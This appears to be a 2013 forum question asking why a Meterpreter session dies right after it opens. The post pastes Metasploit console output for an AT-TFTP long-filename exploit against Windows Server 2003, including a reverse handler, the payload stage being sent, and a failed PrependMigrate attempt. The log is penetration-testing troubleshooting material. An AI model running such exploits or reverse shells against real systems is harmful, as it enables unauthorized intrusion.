ceezax

Why Meterpreter Session Dies Just after being established ?

Discussion created by ceezax on Oct 6, 2013
Latest reply on Oct 6, 2013 by nap_

Hello,

 

I have faced this situation on multiple machines. Just after connecting using Meterpreter and the session gets established, the session dies ? below the log:

 

msf exploit(attftp_long_filename) > show options

Module options (exploit/windows/tftp/attftp_long_filename):

   Name   Current Setting  Required  Description

   ----   ---------------  --------  -----------

   LHOST  192.168.1.18   yes       The listen address

   RHOST  192.168.15.226   yes       The target address

   RPORT  69               yes       The target port

 

 

Exploit target:

   Id  Name

   --  ----

   9   Windows Server 2003

 

msf exploit(attftp_long_filename) > exploit

[*] Started reverse handler on 192.168.1.18:4444

[*] Transmitting intermediate stager for over-sized stage...(216 bytes)

[*] Sending stage (770048 bytes) to 192.168.15.226

[*] Meterpreter session 1 opened (192.168.1.18:4444 -> 192.168.15.226:1385) at 2013-10-06 16:57:49 +0200

 

meterpreter > help

meterpreter >

[*] 192.168.15.226 - Meterpreter session 1 closed.  Reason: Died

[-] Failed to load extension: closed stream

 

I though that it might be the process crashed, however, I used msf exploit(attftp_long_filename) > set PrependMigrate true but when adding this option, I get the following error:

 

msf exploit(attftp_long_filename) > exploit

[-] Exploit failed: No encoders encoded the buffer successfully.

 

I would appreciate referencing any information/resoruces regarding why Meterpreter session dies after being established directly.

 

Thanks in advance

Outcomes